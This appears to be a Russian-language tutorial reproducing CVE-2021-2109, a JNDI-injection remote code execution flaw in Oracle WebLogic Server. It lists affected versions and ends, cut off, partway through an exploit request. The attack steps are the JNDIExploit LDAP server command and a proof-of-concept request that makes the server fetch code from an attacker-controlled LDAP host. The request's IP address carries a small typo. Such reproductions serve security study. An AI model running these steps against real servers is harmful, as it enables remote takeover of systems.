CVE-2021-2109 Weblogic Server: воспроизведение и анализ уязвимости удалённого выполнения кода

В январе 2021 года Oracle выпустила обновление безопасности, включающее 329 новых патчей безопасности для продуктов Oracle. В этом уведомлении особо упоминалось уведомление о безопасности Oracle WebLogic Server от 1 ноября 2020 года, касающееся уязвимости CVE-2020-14750. Клиентам настоятельно рекомендуется применить этот патч, а также другие патчи из этого уведомления. CVE-2021-2109 — это уязвимость удалённого выполнения кода в Weblogic. Уязвимость в основном обусловлена JNDI-инъекцией, что позволяет злоумышленнику удалённо выполнять код.

Затронуты следующие версии: Weblogic Server 10.3.6.0.0 Weblogic Server 12.1.3.0.0 Weblogic Server 12.2.1.3.0 Weblogic Server 12.2.1.4.0 Weblogic Server 14.1.1.0.0

1. Воспроизведение уязвимости удалённого выполнения кода CVE-2021-2109 Weblogic Server

Тестовая среда Weblogic Server разворачивается с помощью DOCKER; Weblogic Server доступен.

1. JNDI-инъекция при штатном входе в консоль управления В первом случае необходимо войти в консоль управления Weblogic Server с учётной записью администратора, перехватить пакет данных входа с помощью BurpSuite и получить данные Cookie для входа.

Запустите LDAP на локальной машине; его можно загрузить по адресу https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11. Команда: java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

Отправьте POC-пакет JNDI-инъекции для уязвимости удалённого выполнения кода CVE-2021-2109 Weblogic Server: POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1